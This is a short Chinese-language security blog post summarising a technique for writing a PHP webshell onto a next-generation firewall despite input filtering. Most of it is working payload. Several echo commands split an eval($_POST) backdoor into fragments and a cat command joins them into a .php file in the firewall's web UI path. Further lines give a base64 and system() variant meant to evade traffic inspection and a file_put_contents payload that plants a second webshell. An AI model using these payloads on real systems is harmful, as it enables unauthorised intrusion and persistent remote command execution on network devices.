Quan


WEB安全 内网安全 终端对抗 威胁情报
WEB安全
高限制下的Webshell写入Tips

来自华顺信安的一篇文章,绕过某下一代防火墙做的操作,其中提到的限制如下:
1. 无法注入分号截断命令
2. 无法使用 `|| &&` 等特殊符号
3. 想要通过  echo 写入文件时,`>>` 追加写入的方式,不可以,`> `会被截断
4. 较长的 PHP 代码部分,都无法被传入,无法正常解析,需要分段截取写入
5. 传入命令时,需要对特殊字符进行 url 编码
那么如何绕过>>追加写入方式被截断这件事呢,给出了这样的payload
echo -e -n \"<?php \" > /fwlib/sys/virus/webui/svpn_html/1.txt

echo -e -n \"eval\" > /fwlib/sys/virus/webui/svpn_html/2.txt

echo -e -n '($_POST[\"pass' > /fwlib/sys/virus/webui/svpn_html/3.txt

echo -e -n '\"])' > /fwlib/sys/virus/webui/svpn_html/4.txt

echo -e -n \" ?>\" > /fwlib/sys/virus/webui/svpn_html/5.txt

cat /fwlib/sys/virus/webui/svpn_html/1.txt /fwlib/sys/virus/webui/svpn_html/2.txt /fwlib/sys/virus/webui/svpn_html/3.txt /fwlib/sys/virus/webui/svpn_html/4.txt /fwlib/sys/virus/webui/svpn_html/5.txt> /fwlib/sys/virus/webui/svpn_html/xxx.php
确实厉害啊...这个我没能想到
其次对于这个初始化的Webshell在流量侧并不能通过,于是给出了几个解决方案
echo system($_POST[1]("cHdk"));&1=base64_decode
还提到,如果有+号,需要URL编码一下,如果以=或者==结尾,那么就要在等于符号后面再加一个空格,不会存在解析问题,而且还能绕过,很好的Tips
Webshell连接
pass= $_POST[1]($_POST[2],$_POST[3]($_POST[4]));&1=file_put_contents&2=webshell名称.php&3=base64_decode&4=<webshell内容>
这里有个细节:在pass=后面是有一个空格存在的,原因原文有说


https://mp.weixin.qq.com/s?__biz=MzI4MzcwNTAzOQ==&mid=2247535253&idx=1&sn=a63da635da47e36d7a285a69fff6f365